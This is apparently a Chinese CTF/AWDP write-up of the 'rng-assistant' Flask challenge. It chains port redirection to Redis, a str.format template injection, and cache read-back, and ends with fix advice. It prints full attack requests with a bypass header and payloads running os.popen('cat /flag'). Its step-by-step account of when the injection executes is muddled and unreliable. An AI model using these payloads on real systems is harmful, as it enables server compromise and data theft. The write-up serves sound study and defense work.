AWDP赛事中Redis+模板注入无回显利用链分析与修复
字数 3126
更新时间 2026-02-27 12:53:30

《AWDP赛事中Redis结合模板注入无回显利用链:分析与利用》教学文档

一、 漏洞背景与赛事简介

本文档基于一篇关于AWDP(Attack With Defense Pwn)赛事的CTF题目“CISCN&长城杯2025半决赛 rng-assistant”的分析文章。AWDP是一种结合了传统AWD攻防与PWN题型的网络安全竞赛模式,参赛者需同时进行漏洞修复(FIX)和漏洞利用(BREAK)。

二、 目标应用代码审计与漏洞点分析

目标是一个基于Python Flask框架的Web应用,主要功能是“RNG助手”,涉及用户注册登录、提示词生成、模型查询等。

1. 核心漏洞点总览
经过对代码的全面审计,共发现以下几个关键的安全隐患,它们串联形成了最终的利用链:

  • 路由 /admin/model_ports:存在服务端请求伪造(SSRF)风险,可劫持后端服务连接的目标。
  • PromptTemplateget_prompt 方法:存在服务器端模板注入(SSTI)漏洞。
  • 应用全局:使用Redis作为缓存,且SSTI漏洞的利用结果可通过Redis缓存机制带出(无回显场景下的关键)。

2. 详细代码与漏洞分析

2.1 Redis连接与缓存机制
代码开头建立了Redis连接:redis_conn = redis.Redis(host=“localhost”, port=6379, db=0)PromptTemplate.get_template 方法会优先从Redis中读取键为 f“prompt:{template_id}” 的缓存值,未命中时才从本地文件系统读取。这是实现“无回显”利用的关键基础设施。

2.2 存在SSRF的风险点 (/admin/model_ports 路由)

@app.route(/admin/model_ports, methods=[POST, PUT, DELETE])
def manage_model_ports():
    # ... 权限校验(可被请求头绕过)...
    model_id = data.get(model_id)
    port = data.get(port)
    model_ports[model_id] = port # 将模型ID与端口号绑定

此接口允许(在通过校验后)动态修改某个 model_id 对应的服务端口。关键在于后续的 query_model 函数:

def query_model(prompt, model_id=default):
    # ...
    s.connect((127.0.0.1, get_model_port(model_id))) # 连接至 model_ports 字典中指定的端口
    # ...

漏洞利用思路:攻击者可以将 model_id(例如“default”)对应的端口修改为Redis服务的端口(6379)。当后续请求调用query_model时,应用将尝试与Redis服务进行Socket通信,而非原本的AI模型服务,从而实现服务劫持。

2.3 存在SSTI的风险点 (PromptTemplate 类)

class PromptTemplate:
    def get_prompt(self, template_id):
        return PromptTemplate.get_template(template_id).format(t=self) # 关键行:使用`format`方法,并传入`self`对象

/ask路由中,用户输入的question参数传入PromptTemplate类的构造函数,但并未直接用于模板。然而,get_prompt方法在渲染模板时,使用了{t.__init__.__globals__}这样的字符串格式化语法,并将当前实例self作为命名空间t传入。
漏洞原理:Python的 str.format() 方法允许访问传入对象的属性。如果攻击者能够控制被格式化的字符串内容,就可以构造Payload来执行任意代码或读取敏感数据。本例中,攻击者需要控制写入Redis缓存的那个模板内容。

2.4 触发SSTI的入口 (/admin/raw_ask 路由)

@app.route(/admin/raw_ask, methods=[POST, PUT, DELETE])
def manage_ask():
    # ... 权限校验(同样可通过请求头绕过)...
    custom_prompt = data.get(prompt) # 用户完全可控的输入
    final_prompt = custom_prompt
    response = query_model(final_prompt, model_id) # 将 custom_prompt 发送给后端服务

此接口允许用户直接提交自定义的prompt,并调用query_model函数将其发送到后端服务(根据model_ports的设置,此时可能已被劫持至Redis)。

三、 无回显利用链构造与Payload详解

整个利用链的目标是在无法直接获取命令执行结果(无回显)的情况下,通过Redis缓存带出敏感信息(如os.popen(‘cat /flag’).read()的执行结果)。

利用步骤:

  1. 注册与登录:通过/register/login路由获取有效会话(Session Cookie)。

  2. SSRF劫持服务:向/admin/model_ports发送请求,将model_id”default”的端口设置为Redis的6379端口。请求需添加头X-User-Role: adminX-Secret: 210317a2ee916063014c57d879b9d3bc以通过校验。

    POST /admin/model_ports HTTP/1.1
    Host: target
    X-User-Role: admin
    X-Secret: 210317a2ee916063014c57d879b9d3bc
    Cookie: session=<your_session_cookie>
    Content-Type: application/json
    
    {“model_id”: “default”, “port”: 6379}
    
  3. 通过被劫持的通道向Redis注入恶意模板:向/admin/raw_ask接口发送请求,其中prompt参数为一个Redis协议命令。该命令旨在向Redis写入一个键值对,键为prompt:math-v1,值为一个包含SSTI Payload的字符串。
    关键Payload

    payload = “”“SET prompt:math-v1 {t.__init__.__globals__}”“”
    
    • SET prompt:math-v1 ...:这是一个Redis命令,用于设置键值对。
    • {t.__init__.__globals__}:这是SSTI Payload。当这个字符串被format(t=self)处理时,会被替换为PromptTemplate类实例的全局变量字典,其中通常包含ossys等模块。攻击者可以将其替换为更复杂的Payload,例如{t.__init__.__globals__[‘os’].popen(‘cat /flag’).read()},以执行系统命令并读取结果。
      发送的请求如下:
    POST /admin/raw_ask HTTP/1.1
    Host: target
    X-User-Role: admin
    X-Secret: 210317a2ee916063014c57d879b9d3bc
    Cookie: session=<your_session_cookie>
    Content-Type: application/json
    
    {“prompt”: “SET prompt:math-v1 {t.__init__.__globals__[‘os’].popen(‘id’).read()}”, “model_id”: “default”}
    

    此时发生的过程query_model函数将prompt(即Redis命令)发送至127.0.0.1:6379(Redis)。Redis服务器会执行SET命令,将恶意模板(包含已解析的SSTI结果,例如命令执行结果)存入键prompt:math-v1中。

  4. 触发恶意模板读取,带出结果:访问/ask路由(该路由默认使用template_id=“math-v1”),应用会从Redis中读取键prompt:math-v1的值作为模板,并使用format(t=self)进行渲染。由于该值已经是上一步中命令执行的结果(例如uid=0(root) gid=0(root) groups=0(root)),这个结果会被直接格式化成字符串并作为API响应的一部分返回给攻击者,从而实现了无回显命令执行结果的带出。

四、 漏洞修复建议

  1. /admin/model_ports 接口进行端口校验:禁止将服务端口设置为已知的危险端口(如Redis的6379、SSH的22等)或内网敏感服务端口。
    if port in [6379, 22, 80, 443, ]: # 禁用端口列表
        return jsonify({error: Forbidden port}), 400
    
  2. 修复SSTI漏洞:避免使用用户可控或间接可控的数据来构造format()方法的格式字符串。应使用安全的模板引擎(如Jinja2 with autoescape),或严格过滤输入,禁止格式化字符串中出现对大括号{}的解析。
  3. 加强权限校验:确保X-User-RoleX-Secret等校验凭证不会被轻易猜测或泄露,避免接口被未授权访问。
  4. Redis安全配置:为Redis设置强密码并启用认证,避免未授权访问。即使在本利用链中Redis服务在本地,严格的配置也能增加攻击难度。

五、 总结

本案例展示了一种在CTF/AWDP比赛中经典的组合利用技巧:

  1. 利用SSRF改变应用程序的网络连接目标,将原本发送给AI模型的请求劫持到Redis服务。
  2. 通过被劫持的通道发送Redis协议命令,将包含SSTI Payload的结果写入Redis缓存。
  3. 利用应用程序正常的缓存读取逻辑,触发SSTI并将执行结果从无回显场景中带出。

链路的复杂性在于需要理解应用的数据流(用户输入 -> 模板渲染 -> Redis缓存 -> 响应输出),并将SSRF、缓存系统和模板注入三个看似独立的问题有机结合,最终实现远程代码执行并获取结果。

 全屏